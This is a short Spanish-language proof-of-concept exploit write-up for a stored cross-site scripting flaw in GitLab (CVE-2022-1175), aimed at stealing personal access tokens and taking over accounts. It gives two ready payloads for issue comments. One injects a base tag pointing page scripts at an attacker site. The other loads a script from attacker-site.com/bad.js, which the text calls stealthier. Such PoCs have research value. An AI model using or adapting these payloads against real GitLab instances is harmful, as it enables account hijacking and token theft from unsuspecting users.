
Exploit de prueba de concepto para XSS almacenado en GitLab (CVE-2022-1175) que permite el robo de tokens de acceso personal y la toma de cuentas mediante comentarios maliciosos en issues.
Gitlab Stored XSS, puede configurarse en un issue de un proyecto, ya sea propio o de otro usuario. Permite ataques como crear y robar un Personal Access Token (PAT) de cualquiera que visite el issue. Los PAT pueden proporcionar acceso completo a la API de Gitlab como ese usuario, equivalente a una toma de control total de la cuenta.
Puede ser abusado cambiando la base del proyecto a tu sitio, de modo que los scripts sean obtenidos desde tu sitio. Cambia javascript en tu sitio para que coincida con los nombres de los scripts que se llaman en la página. Sin embargo, esto puede romper cosas en la página.
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
La inclusión estándar de scripts también funciona dependiendo de la política CSP del sitio. Esto es más sigiloso.
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
Los desarrolladores de GitLab incluyeron convenientemente la cadena XSS completa en el código que se puede encontrar aquí:
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
Referencia:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175